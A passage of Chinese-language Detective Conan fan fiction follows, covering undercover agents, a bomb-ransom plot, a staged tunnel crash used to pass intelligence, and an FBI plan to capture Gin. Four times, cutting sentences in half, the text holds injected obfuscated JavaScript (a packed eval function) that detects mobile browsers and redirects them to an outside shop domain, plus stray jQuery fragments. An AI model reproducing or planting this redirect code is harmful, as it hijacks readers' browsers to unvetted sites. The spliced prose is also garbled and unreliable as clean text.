“那我只好在别的方面……多疼疼他咯。” 说完,他便抱着青木修大步离开,不再多分给左山先生一个眼神。 近几次有关青木修的实验项目重新开始涉密,诸伏景光已经不被允许在观察室里做旁观者,对发生在青木修身上的事情一概不知。 即便如此,他依旧能从青木修满身的冷汗以及被粗暴包扎的狰狞伤口中看出端倪。 那些实验员根本没有好好对待青木修的心思,每次实验后的伤口也都是怎么简单怎么处理,往往到最后都是诸伏景光带他回了安全屋之后再进行处理。 诸伏景光对自己和青木修之间的关系感到困惑,两人的距离已经变得很近很近,青木修甚至偶尔也会给他用自己的权限看一些资料,就像是有意要让他有东西交差似的。 但两人之间始终像隔着什么东西一样。 或许是青木修还不懂这些吧,诸伏景光自我安慰道。 做足了心理准备后,他把这件事告诉了降谷零。 “zero,青木修已经知道我们俩是卧底了。” 诸伏景光说这句话时很平静,与之相反的是差点从位置上跳起来的降谷零。 “你说什么——?” 降谷零险些破了音,他第一时间拉住诸伏景光,低声询问,“还有其他人知道吗,需不需要……” 降谷零比划了一个抹脖子的手势。 “不用,”诸伏景光示意他放松,“青木修已经愿意和我们合作了,还记得我上周交上去的那些有关实验室的材料吗?都是他用了权限给我看的。” “当真没问题?” 降谷零仍旧有些不放心。 “他从上次我们俩谈话的时候就知道了,”诸伏景光说到这里也有些无奈,他甚至不知道青木修到底是用了什么方法骗过了组织的测谎仪,“一直没有告诉琴酒,还是上次出任务的时候他才跟我挑明。” 诸伏景光其实已经有些信任青木修了。 “也就是说,你用了黑田长官的第一个方案?” 把青木修拉拢过来成为警方的人。 “没错,既然能够少一个敌人,我们为什么要给自己找事呢?” 更何况,他觉得青木修也不是什么大恶之人,更近一步来说,他也是一个受害者。 “我明白了。” 降谷零心下有了盘算,暗示诸伏景光自己已经有了打算。 从那之后,降谷零对待青木修的态度也有了明显改善,整个威士忌小组达到了一种诡异的团结和谐。 在这种团结之下,他们的履历也变得更漂亮了。 每个人都获得了相应的提拔:降谷零成为情报组的骨干,诸伏景光和诸星大成为行动组的红人…… 至少表面上看起来,生活是一片和谐了。 但是湖面的平静永远是脆弱的,任何一点风吹草动都能在湖面上掀起波澜。 . “这是你们最新的任务。” 这天行动组的几人齐聚在基地会议室,琴酒甩出几分任务简报。 “这次的任务BOSS很重视。”琴酒阴沉沉的视线扫过在场的所有人,BOSS已经很久没有像这次这样亲自给他下达过命令了。 不过这也让组织中有关“BOSS已死”的谣言不攻自破,某些心思不安分的人也得老老实实盘起尾巴做人。 “什么任务,用得着我们这么多人?” 降谷零几乎是例行和琴酒呛声,后者已经习惯这个来自情报组的神秘主义者对自己说话时夹枪带棒,径直忽略掉其中的挑衅。 “暗杀荒本忠一。” 降谷零和诸伏景光同时一惊,这人可是财务大臣,竟然也会和组织扯上关系。 “暗杀他一个人也用不着这么大费周章吧?” 基安蒂不耐烦 地翻了翻文件,还不明白这个人到底有什么值得注意的地方。 “当然不是这么简单,我们还需要从他手中拿出十亿日元,用东京一千二百万人的性命做筹码——” 能一次性威胁到这么多人的行动,诸伏景光只能想到炸弹。 只有这种东西威力巨大,能够一次性满足组织的需求。 “所以呢?到底需要我们做什么?” “BOSS说我们这次汇合一队专业人士合作,他们负责提供炸弹,基安蒂和科恩,辅助他们布弹……” 琴酒的表情明晃晃的告诉其他人,他也不明白为什么BOSS会想到让他们和非组织的人合作。 不过既然是BOSS亲自下达的任务,他也没有质疑的道理,索性不再思考其中的问题,直接布置起任务来。 “波本,负责调查荒本忠一的行程资料,威士忌小组的其它人,利用那群专业人士在弄出爆炸案动静之后,向荒本忠一讨要二十亿日元赎金的时候找机会灭口。” “明白。” 二十亿日元,在场的人纷纷倒吸一口凉气。 诸伏景光更是不明白,荒本忠一就算是财务大臣,一次性怎么拿得出手二十亿日元。 刚刚琴酒说组织的目标只有十亿日元,看来这二十亿日元中还有水分,换一种说法,他们威士忌小组需要灭的口不止荒本忠一一个人。 他对上琴酒的视线,很快明白过来自己的理解是正确的,组织从一开始就没放心跟其他人合作。 荒本忠一不能死,东京的一千两百万市民更不能出事。 这是降谷零和诸伏景光达成的共识。 但这次任务显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976849|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保密级别很高,他们很快发现从基地离开之后便有人暗中跟着他们。 基安蒂是个直脑筋,当场掉头回去找琴酒对峙,质问他为什么要监视他们。 琴酒直接大大方方地承认了。 “BOSS说了,这次的任务不允许出现差错,组织里的老鼠还没有找到,我自然要采取一些措施来保证任务的万无一失。” 基安蒂哑口无言,只能发几句牢骚转头走人。 无处不在的跟踪和监视让整个行动组的人都产生了一些困扰,身为情报组一员的降谷零多次想要找机会传递情报都险些被发现,只能窝在安全屋里干着急,无奈之下甚至找到了朗姆告状。 只是一向和琴酒不合的朗姆这次也少见的没有多说什么,只是让降谷零暂时忍耐一下,有什么话任务完成之后再说。 最后一条路也走不通,眼看着任务日期越来越近,他也无可奈何。 琴酒布置给他的任务早就完成了,降谷零把荒本忠一的行程摸得一清二楚,就连任务当天他会具体出现在哪几个地方也查的清清楚楚。 在诸伏景光的帮助下,他们甚至把荒本忠一和组织从相互勾结到反目成仇的原因都进行了调查。 备份也早已做好,就是找不到机会把消息递出去。 荒本忠一是一条大鱼,如果警方能够顺利抓住他,就能顺藤摸瓜找到不少组织留下的痕迹,无论是降谷零还是诸伏景光都不想白白错过。 诸伏景光和降谷零一样着急,但他以为自己掩饰的很好。 “苏格兰。”一天外出采购时,青木修破天荒主动牵起诸伏景光的手。 诸伏景光还没来得及惊讶,便感觉到手心处一阵痒痒——是青木修的小指在他手心里敲摩斯电码。 “你和我说实话,你和波本是不是想传递消息出去?” 一点点读出青木修向自己表达的意思,诸伏景光脸上的笑容都差点没挂住,寒毛倒竖。 见他这幅样子,青木修肯定了自己心中的猜测。 “你们疯了吗?荒本忠一非死不可!” 掌心敲打的力量大了些,表现着手指主人的愤怒。 诸伏景光默了一瞬,维持住脸上的笑容,用同样的方法回复青木修。 “荒本忠一对我们很重要,无论付出什么代价也不能让他死在组织手里。” 他犯过的罪应该由法律来审判,而不是用私刑解决。 青木修挑菜的动作停下,他静静侧头,飞速瞥了一眼诸伏景光。 “无论付出什么代价?” 诸伏景光给予了他肯定的答复。 “嗐……” 诸伏景光感受到青木修的掌心沁出一些汗水。 “我来想办法吧。” 青木修极轻极轻地叹息了一声,声音小的诸伏景光几乎听不见。 就在他以为青木修要结束这个话题的时候,突然收到了这样的回答。 “?” 诸伏景光满腹疑虑地看向青木修,后者注意到他的视线,没有转头看他,但是五指在他掌心挠了挠,意思是让他放心。 “仅此一次,下不为例。” 青木修最后在他的掌心里这样敲打道。 24.第 24 章 想到自己还有两个同期身在爆处班,诸伏景光一刻也不能停下对传递情报的担忧。 他莫名有一种直觉,如果情报不能顺利传递出去,他的两个同期可能会因此遭殃。 由此一来,诸伏景光更加焦虑了。 琴酒派来的监视人员做到了二十四小时在岗,以至于诸伏景光对于青木修说的他来想办法已经不抱希望了,一度开始自考自己要不要冒着自爆的风险直接莽一把将消息传递出去算了。 但是青木修真的想到了办法。 他让诸伏景光把接头的人邀约进临近市郊的一条隧道。 “那里有一个安全通道,你要是相信我,就想办法把人叫到那里去。” 生怕诸伏景光不放心,青木修又补充道:“我不碰你们的情报,你直接把消息传给你的接头人吧。” 他已经帮诸伏景光做到这一步了,至于怎么把他们的接头人叫到安全通道里去,这就是诸伏景光和降谷零应该考虑办的事情了。 诸伏景光思来想去,决定相信青木修。 他不知用什么办法给风见裕也送了一个谜底是隧道某一个安全门的两字字谜,真的把人约到了隧道的安全门。 时间很快来到约定好交换情报的当天,青木修像往常一样做完该做的事情,像是什么都没发生一样直接带着诸伏景光出了门。 “你这辆车重要吗?” 这一次是青木修坐在驾驶座上,他缓缓发动汽车,突然问了诸伏景光一个问题。 诸伏景光这个时候满心满腹都在思考如何把情报顺利交给风见裕也的问题,根本没有多想就回答道:“不重要,用组织里的钱买的。” 组织虽然经常在别的地方不做人,但至少在批经费在一方面出手还是相当大方的,一辆车而已,没什么值得心疼的地方。 “那就好。” 青木修一踩油门,汽车直接飙了出去。 强烈的推背感让诸伏景光有一种自己在坐降谷零的车的错觉。 “我们要去哪里?” “你别管。” 青木修根本不给诸伏景光解惑。 不过诸伏景光还是很敏锐地注意到青木修握住方向盘的十指紧绷,手背上都显现出青筋。 他在紧张? 诸伏景光心说既然紧张为什么还要把车开的这么快?! “青木,你慢一点……!” 眼看着就要和前面的大货车撞上,诸伏景光忙不跌提醒青木修。 随着方向盘轻轻一动,车身晃动了一下,一个漂亮的甩尾成功超车。 诸伏景光心还没落回肚子里,一抬眼就看见不远处隧道口排起的长龙。 他怎么忘记提醒青木修了!这条隧道非常繁忙,正常的工作日这里必定会堵车! “怎么办?” 他有一瞬的慌乱。 “你坐好就行了。” 青木修不仅不减速,甚至又把油门才深了一些。 诸伏景光突然看见了青木修温顺皮囊下包裹的满身反骨。 那种享受高速露出的肆意神情他绝对不会看走眼。 “嘎吱——” 就在临近撞上前车的刹那,青木修终于愿意踩下刹车,轮胎在地面上留下两条深深的黑色痕迹。 “另外再问你一句,这辆车的车牌是假的吧?” “呼……”诸伏景光长叹一口气,摸摸额头上的汗珠,“假的,怎么查都是查无此人。” 青木修把手搭在方向盘上,开始死命的按喇叭。 “喂喂!你看不见前面堵车吗!” 前车的人骂骂咧咧的走下车,敲打着他们的车窗玻璃,作势就要和青木修理论。 青木修根本不理他,亮起车灯一退一进,把两车之间的距离拉到只剩下一指宽。 “……神经病!” 见驾驶员一副“你在逼逼我就撞你车”的架势,前车司机意识到这是个硬茬,悻悻丢下一句骂便老老实实地坐上车。 “你到底想干什么?” 前车好不容易挪动了一些,青木修却没有动作,任由身后的车不停地对着他们按喇叭。 “搞什么鬼啊你!” 后车司机也骂骂咧咧地下来了,转到车头处一看,发现驾驶座和副驾驶上的两个人正贴在一起忘情拥吻。 “……” 后车司机尴尬了一瞬,敲了敲车头以示提醒便上了车。 青木修的余光一直观察着前车和他们之间的车距。 等到两车距离拉开的差不多,他才放开诸伏景光一脚油门下去。 诸伏景光一张脸红透了。 他现在脑子已经宕机了,就连心心念念的情报一时间都被他忘在了原地。 他万万没想到青木修会不打一声招呼就直接揪着他的领子亲他。 “这算是什么办法啊喂!” 诸伏景光抓狂。 “不好意思,刚刚唐突了。” 青木修一边说一边打开车门锁,让诸伏景光钻到后座去。 “干什么?” 诸伏景光警惕起来。 “我让你跳车你就跳。” 青木修还是那副不准备解释的样子,突然换挡刹车,车身猛地一停,诸伏景光一个没坐稳被甩了一下,还没重新坐直身体就听见青木修一声“跳车”。 身体快于理智,他直接打开车门跳了出去。 隧道里的光线很暗,青木修又恰到好处的沿着边开,正好让诸伏景光落在一个能够贴着墙翻滚又不至于受伤的位置。 诸伏景光打了好几个滚,刚抬起脑袋就见前方同样跳下来一个人影。 他的那辆车就这么直冲冲撞上了前车的车屁股。 “青木修?!” 他正要起身,青木修却比他更快一步冲过来,把他压在身下死死护着。 “轰——!” 一声巨响,发生车祸的车辆瞬间爆燃,一时间隧道里陷入了一片恐慌,路过的司机们纷纷停下来,掉头的掉头,下车的下车。 “起来!” 青木修行动之快根本不给诸伏景光反应的时间,捞起人就混进匆忙逃窜的人群中。 “快进消防通道!” 青木修捏着嗓子喊了一声,人群又一窝蜂挤向随到中央的安全门。 等到诸伏景光反应过来的时候,自己已经站在消防通道里了。 “去找你的接头人吧。” 青木修逐渐慢下脚步,推了一把诸伏景光,“他应该就在这附近, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13977592|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我在通道出口等你。” 说完他便留下诸伏景光一个人,自己融入人群中消失不见。 这时候诸伏景光才缓慢意识到青木修都做了些什么。 不过现在可不是感动的好时间,他摸向胸前口袋,朝着和风见裕也约定好的安全门奔去。 “诸伏先生!” 正按照约定等候在安全通道里的风见裕也还不清楚前方发生了什么,呼啦啦跑过来的人群直接把他撞蒙了。 “风见!” 诸伏景光瞧见人群中踉踉跄跄,正东张西望一看就是在找人的风见裕也,连忙挥了下胳膊示意自己的方向。 “诸伏先生!” 风见裕也见到自己断联好几天的上司,显得非常激动。 诸伏景光没给他多余的时间让他激动太久,将一个U盘塞到风见裕也掌心,抓起他就跟着人群继续跑。 “东西都在里面,快走!” 诸伏景光一把东西交给风见裕也就立刻和他拉开距离。 他发现青木修没有傻傻地跑到隧道出口的位置等他,而是以一种明显慢于其他人的速度缓慢小跑,正好和他遇上。 一看诸伏景光的眼睛,青木修就知道他的任务完成了,两人心有灵犀谁也没提刚才的事情。 “你的车,不好意思。” 一直到跑出消防通道,青木修这才重新开口。 “没关系,到时候走组织的账再买一辆就好。” 诸伏景光根本不心疼,“只是……” “只是什么?” “只是一路上来的监控……” 青木修立刻明白他在担心什么。 “你以为我开那么快是在干什么?” 诸伏景光第一次见青木修露出这样的笑容来,有点狡黠,还有些小得意。 他回过味来,意识到青木修开那么快是为了在路上模糊自己和他的脸。 “等等,车怎么一撞就爆了?” 他同时品出一丝不对,“你早就在车上动手了?” 青木修笑容变得有些尴尬,心虚的移开眼。 “喂喂!” 诸伏景光好气又好笑,抓住青木修的肩膀防止他逃跑,“你都动手了还问我心不心疼车干嘛?我说心疼你就会取消计划?” 青木修摇摇头,一时间不敢和诸伏景光对视,“这不是要征求你的意见嘛……哈哈……” 他干笑几声,意图转移话题。 诸伏景光倒是遂了他的愿—— “那你说说,刚刚你是怎么想的?” 他点点自己的嘴唇。 这下子轮到青木修脸红的像煮熟的虾米了,说话声音都小了不少,“这不是……这不是……不能让别人看到你正脸吗?” 诸伏景光勉强接受了他的这个说法,目光下移,定在青木修有些微微发红发肿的嘴唇上。 不得不承认,别看青木修在身形上和他比起来显得有些瘦削,手心也总是冰凉凉的,但是嘴唇却是温热又柔软。 青木修在他的注视下直接从脖子红到了耳朵根。 “你忘掉刚刚的事情吧!” 他跑过来要去摁诸伏景光的头。 “不可能!” 诸伏景光大声反驳。 25.第 25 章 事后两人的行为毫无疑问被监视者上报给琴酒,对此,青木修的解释很简单—— “当时我们两个在接吻,车速太快,一个不留神就撞上了。” 琴酒十分阴阳怪气,“怎么没把你们俩直接撞死呢?” 青木修耸耸肩膀,“我也不知道,或许是命大吧。” “命大?” 这个词不知哪里戳中琴酒的笑点,以至于他不得不点上一根烟来掩饰自己嘲弄的笑意。 一个实验体,居然会觉得自己命大? 不过他已经收到监视人员发来的报告,上面标明两人并没有做出什么出格的举动,除了……似乎他们接吻了。 听过多次诸伏景光解释的琴酒并没有把这件事放在心上,毕竟他打心眼里觉得不会有人对一个有瑕疵的实验体付出真感情。 “只要不影响到任务,随你们怎么玩。” 琴酒也并不是喜欢多管闲事的人,他对下属们的私人生活没有偷窥欲。 走出基地大门,诸伏景光不甚明显地叹了口气。 太好了,没有过多的引起琴酒的怀疑。 他有些感激的看了一眼青木修,后者一脸漠然,用一种“你在看什么”的好奇眼神回应。 诸伏景光牵起青木修的手,学着他上次的样子在对方掌心挠了几下。 这是他们两人之间的秘密。 . 执行任务当天,降谷零把查到的资料交给诸伏景光,两人对视一眼,不着痕迹地点点头。 情报已经顺利传递出去,爆处班的两个同期应该不会有什么大碍。 威士忌小组的准确任务时间是在当天下午,他们需要在那伙炸弹犯提出二十亿日元的要求之后及时解决掉荒木忠一。 预料中爆炸案登上了上午各大报纸头条,媒体们争相报道炸弹客索要二十亿日元赎金来换取东京一千两百万市民生命的新闻。 “现在轮到我们出手了。” 诸伏景光背起狙击枪,带着青木修出门了。 因为心中有了底,他便没有抢着要去荒木忠一出席的现场,而是把这个“绝好的机会”让给诸星大。 “我们去解决掉那伙炸弹客。” 一想到这伙险些伤及到自己同期性命的家伙,诸伏景光的眼中泛起一阵冷意。 对于这样的人渣,他自然没有什么手软的必要。 诸伏景光可以说是毫无心理负担的联合青木修一远一近解决掉四个炸弹客。 等到他们晚上返回基地前,诸伏景光还特意留意了一下街边的报纸,有没有写到有关爆处班警察的事情。 还好,报纸上只字未提。 对于他们这种人来说,没有消息就是最好的消息。 诸伏景光悬了一天的心终于放下,带着青木修优哉游哉的回到基地。 在回程的路上,青木修明显能感受到诸伏景光很高兴,但是至于他在高兴什么,自己却不清楚。 算了,青木修心想,他高兴了就好。 青木修可是很喜欢诸伏景光笑起来时那双上挑的猫眼。 意识到自己想多了,青木修赶紧甩甩脑袋,把不该有的想法甩出去。 真没出息,他在心中暗骂自己。 两人还没跨进会议室的大门,就听到里面琴酒暴怒的声音。 “什么叫做荒木忠一被抓了?” 诸星大平静的声音紧随其后,“我也不清楚,只是在现场没有看到荒木忠一的影子,托波本打听了一下,才知道他上午就因为疑似贪腐以及和炸弹客有勾结而被公安逮捕。” 琴酒立刻把视线移向降谷零。 “波本,你的消息是怎么收集的?” 降谷零心里丝毫不虚,正面迎上他审视的目光,两手一摊,毫不畏惧,“我的消息来源截止到今天早晨都能保证准确,谁知道荒木忠一今天干了什么会被公安发现。” “荒木忠一现在在哪里?” 这个人知道不少关于组织的事情,如果有希望的话,他还是不愿意就这么放过荒木忠一。 “据说直接被带到警察厅了。” “警察厅……” 琴酒琢磨了一下,忽然想起似乎还有一个人。 众人只能觉察出他的怒火消散了不少。 “苏格兰,你们那边怎么样?” 琴酒竟然主动转移话题。 “很顺利,”诸伏景光把背在背后的贝斯包取下来放在桌子上,他指指青木修,“四个人都死透了。” 这一回答让琴酒稍感满意,他阴森的视线在屋子里转了一圈,“希望你们不要被我查出来有什么问题。” 迎接上他的目光的两人心中暗道不好。 琴酒的那个眼神里写满了势在必得,两人心中不禁浮起一个不好的预感。 . 荒木忠一死了。 这对降谷零和诸伏景光来说无疑是一个坏消息。 一个提前被公安收到消息保护起来的证人会悄无声息的被毒死在警察厅的拘留室里。 等到值班警员发现他的时候,荒木忠一嘴角流血,双目圆睁,已经气绝多时,根本没有再抢救的可能。 尽管黑田兵卫第一时间将此事封锁,还是拦不住有人把消息泄露出去。 他们都无比清晰的认识到一个事实:警察厅里有组织的人。 至于这个卧底到底是谁他们暂时还不得而知,这无疑是一枚定时炸弹,紧紧牵动着降谷零和诸伏景光的心。 无论心中如何惊骇,他们都不能在面上表现出来,只能佯装镇定照常生活。 荒木忠一的死讯并没有被琴酒隐瞒,青木修心思何其玲珑,左右不过瞬息之间便明白过来荒木忠一死亡背后所隐藏的问题。 苏格兰和波本有危险。 他心中有了思量,看向诸伏景光的眼神里不由得多出一份担忧。 青木修并没有隐藏自己的心思,诸伏景光很快觉察出他一定是知道了什么。 “没事的。” 诸伏景光的拇指摩挲着青木修的手背。 他强装镇定的安抚着青木修。 只不过他的镇静没有骗过青木修的眼睛。青木修还是看出诸伏景光心中的隐隐不安。 这种不知道自己什么时候会死的感觉实在是太煎熬了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13993103|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没事的。” 青木修反过来安慰他。 . 令他们感到疑惑的是,琴酒就像是把这件事忘记了似的抛在脑后,一时间也没有再提过组织里有老鼠的事情。 降谷零和诸伏景光提心吊胆的日子这才好过一些。 威士忌小组又恢复了往日的祥和:诸伏景光和青木修大多时间都呆在一起,降谷零整天在情报组神龙不见尾,诸星大则跟着琴酒出任务越来越频繁。 “莱伊,琴酒对你越来越看重了啊。” 一天饭后,降谷零状似无意地感慨道。 就连诸伏景光也不得不承认,诸星大在狙击方面着实是一把好手,日益精湛的技术有时让他都感到羡慕。 “跟着他打打下手罢了。” 不管降谷零怎么说,诸星大都是那副淡淡的样子,抽着烟,眼神放空不知在想些什么。 “打下手?恐怕没那么简单吧?” 降谷零挑嘴一笑,根据他得到的情报,诸星大的狙击技术可是隐隐有超过琴酒的意思,自然而然不免得到琴酒的青眼。 “再不简单也没有你厉害啊,波本。” 诸星大终于回神,缓缓吐了一口烟,转头看向自己长着一张人畜无害的娃娃脸的队友。 “你现在可是朗姆身边的红人啊。” 别以为他不知道,朗姆好几次向琴酒提出要把降谷零单独从威士忌小组提出来,好让他一心一意跟着情报组单干。 “彼此彼此。” 降谷零是个聪明人,自然能明白诸星大话中隐藏的意思,明智地把话题就此打住。 “我还有任务,先走一步。” 将燃到尽头的烟蒂摁灭在烟灰缸,诸星大背起自己的吉他包离开安全屋。 独自走在东京街头,诸星大——或者说是FBI搜查官赤井秀一,不自觉地把心思打到青木修身上。 和公安上级对待他的态度一样,FBI这边也同样认为如果不能拉拢青木修到自己的这一方战线,那就不如直接除掉他。 哪怕他现在依旧和青木修交情不深,他也不眼瞎,不难看出诸伏景光和青木修之间的关系转变,以及青木修和降谷零之间的关系变化。 他朦朦胧胧有一种直觉,波本和苏格兰有可能也是卧底。 这个想法一冒出来,他自己就觉得有些好笑: 一个颇受组织器重的行动组,三个人全是卧底?唯一一个看起来忠心于组织的成员还疑似在和卧底谈恋爱? 这未免有些太离谱了,如果他们三个人真的都是卧底,那他真的不知道该吐槽是BOSS还是琴酒可能真的需要去治治眼睛了。 当然,现在赤井秀一并没有把全部的心思放在青木修身上,他还有更重要的事情要做。 最近他跟琴酒走的越来越近,对方也隐隐透露出几分要单独提拔他的意思来。 凭借着自己在琴酒面前独特的地位,赤井秀一和他的接头人想了一个略有激进的办法: 直接设计抓捕琴酒。 毕竟从琴酒的言行中透露,他也是组织中可以和BOSS进行直接沟通的人物之一。 26.第 26 章 这个计划相当危险,但是高风险也意味着高回报。 琴酒身为行动组的负责人,大小任务都是经由他的手发布,如果能将他抓捕归案,应该能趁机审问出不少线索,更进一步来想,他们甚至可以把琴酒当做诱饵,抓捕到更多的组织成员。 以琴酒在组织中的身份地位,一旦被捕,必定会有很多人来想办法救他或者是来杀他。 思考完琴酒的事情,诸星大没忍住又把思维放回了青木修的身上。 这个实验体从来威士忌小组的第一天就引起了他的关注。 只不过碍于当时还没有摸清青木修的底细,他不方便出手,以至于现在让诸伏景光走在了他的前面。 赤井秀一习惯性把事情向着最离奇的方向预测: 如果诸伏景光和降谷零两个人真的是卧底,那么他估计诸伏景光对青木修的利用占了大头。 他不相信一个卧底真的会对组织实验体产生真正的感情。 要是这件事情是真的,那诸伏景光为了任务做出的牺牲未免也有些太大了。 一个卧底,如果真的对任务目标动了心,是没有好下场的。 赤井秀一眯起狭长的眼睛,大步朝着基地的方向进发。 眼下还是想办法把琴酒抓捕到手比较重要,至于青木修看,可以稍微往后放一放。 他可是看出来,这个实验体有着和组织不相符的心软,把他拉到自己的战线上应该不是什么难事。 如果是…… 赤井秀一掂了掂背后的吉他包,那就杀了他。 . 实际上琴酒在荒木忠一死后不久就拿到了埋藏在警察厅的卧底发来的消息。 不出他所料,老鼠就在行动组,只是还不能确定具体是谁。 其中的怀疑名单上,赫然有威士忌小组三人的名字。 赤井秀一以为自己在试探琴酒,也没想到琴酒也在试探他。 考虑到威士忌小组原本三人之间稍显不合的关系,琴酒经过考虑决定将他们三人划分成两组试探。 莱伊单独一人,波本和苏格兰会有另外的任务作为测试。 “琴酒。” 琴酒正想着莱伊,人恰好到了。 “上车。” 今天的任务只有他和赤井秀一两个人出手。 虽然只有两个人,但是两把狙击枪精确对准目标的脑袋,两枚子弹从远方呼啸而来,一前一后贯穿了目标的头部。 “哐啷!” 先是类似于西瓜开裂的声音,接着只见目标的尸体原地摇晃几下,轰然倾倒。 “啊——!” 一声尖厉的叫喊划破人群上空。 琴酒满意的看着自己和赤井秀一引发的混乱,不慌不忙对赤井秀一下达撤退的命令。 “还剩下一个。” 他们近几次暗杀的目标都出身于一个家族,如今这个家族的继承人仅剩下一个还活在这世上。 “只剩下一个人还活着,他必定会找很多人保护自己。” 琴酒冷笑,“但是他家族中的那些货物呢?” 这个家族做的就是走私禁运药物的生意,只是贪心不足蛇吞象,妄图从组织身上狠狠敲诈一笔。 “你是说……” 赤井秀一明白了琴酒的计划。 他们已经掌握那个家族存放违禁药物的仓库地址,只要在那里弄出点动静,这个唯一的继承人必定会忍不住前来查看。 而他只要敢来,肯定不会带太多的人,那么他们就有了可乘之机。 赤井秀一眼前一亮。 这对琴酒来说是一个可乘之机,对他来说又何尝不是呢? 赤井秀一想到办法就开始行动,他悄悄联络上自己的上司詹姆斯,把行动的具体时间和大概人数透露出去。 不必事无巨细的交代,詹姆斯自然能明白他的意思。 基地通讯室,独眼的老人面带笑意地看着通讯器。 “琴酒,没想到你居然会有想找我帮忙的一天。” “抓老鼠而已,”只要能找出躲藏在组织里的老鼠,琴酒不介意用任何手段把他们找出来,“你就说做不做?” 朗姆来了兴趣,还想和琴酒谈条件。 “要我帮忙也可以,但是你要把波本从威士忌小组里调出来。” “你以为我非你不可吗朗姆?” 琴酒讨厌别人和他谈条件,直接上前一步关了通讯器,留下朗姆在另一端看着黑掉的通讯器起到脸部变形。 琴酒转身去找了贝尔摩德。 “贝尔摩德,三天后需要你出现在这里。” 他发给贝尔摩德一个地址。 贝尔摩德虽然也是情报组的人,但她和朗姆之间并不是纯粹的上下级关系,更像是一个在情报组和行动组之间游离的中间人,既然朗姆想和他谈条件,那就不用再多废话。 “啊啦啦——” 贝尔摩德打开手机,快速看完任务内容后将文件销毁。 “现在要开始抓老鼠了吗?” 贝尔摩德向来喜欢看这种乐子,小老鼠最后的垂死挣扎什么的,最有意思不过了。 “废话少说,做好你自己该做的事情。” 此时的赤井秀一还不知道,他和琴酒互为黄雀,就看谁能更快一步。 三天后,市郊仓库。 提前一天琴酒就找人在仓库附近放了一把不小的火,既能给那个家族带来一些损失,又不至于是太明显的认为事故让继承人不敢前来查看。 临出发前,赤井秀一随便寻了个理由,和琴酒一前一后出发。 他特意制造了点小意外,确保琴酒能够先自己一步到达他们预先设定好的埋伏点。 “赤井先生,现场已经埋伏好了。” 挂在车上的通讯器里传来卡迈尔等人的声音。 “目标已经进入包围圈。” “收到,”赤井秀一沉着下令,“先不要轻举妄动,等琴酒动手之后你们再出现。” 反正多死一个走私犯对他们来说也不过是一件无伤大雅的小事。 琴酒隐藏在一开始商量好的狙击点位,看着时间皱眉,“莱伊,你怎么还没到?” “马上,”赤井秀一的声音听起来很抱歉,“车子出了一点小问题。” “不要耽误任务行动。” 直到这时,琴酒还没有觉得哪里不对——他的心神全部放在了本次的任务目标身上。 埋伏在周围的FBI们通过各种手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14006962|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段监视着琴酒等人,心中不免都有些紧张。 突然,一个老人蹒跚着脚步出现在卡迈尔的望远镜中。 “……老人家!” 他思考片刻,还是没忍住翻身出了掩体。 “你是……?” 老人被突然出现的卡迈尔吓了一跳。 “您不能再往前去了。” 卡迈尔的日语带着一点不仔细听都发现不了的口音,“前面很危险。” “哦哦……” 老人缓缓点头,拍拍卡迈尔的肩膀,“谢谢你啊,小伙子。” “没什么,您快离开吧。” 目送老人离开他们的包围圈,卡迈尔才重新回到掩体中,被朱蒂狠狠骂了一句,“你在干什么?” 她刚才想拉卡迈尔都没拉住。 “只是一位老人而已,没什么问题吧。” 卡迈尔这时候还心存侥幸。 “这种荒郊野岭的地方怎么会凭空出现一个老人?” 朱蒂没忍住爆发起来,“你这样会害死秀的!” 她的视线被卡迈尔黑色正装上的一个反光点吸引。 “这是什——么?” 她抬手一拍,从卡迈尔的肩膀上摸下来一个微型仪器。 朱蒂瞳孔骤缩! 她顾不上什么暴露不暴露,连忙拿起对讲机通知赤井秀一,“秀,快跑!” “嗯?” 赤井秀一还不知道他们这边刚刚发生了什么。 “快跑!卡迈尔把你暴露了!” 看着被朱蒂紧紧捏在手心里的微型仪器,卡迈尔的额头上流下一滴冷汗。 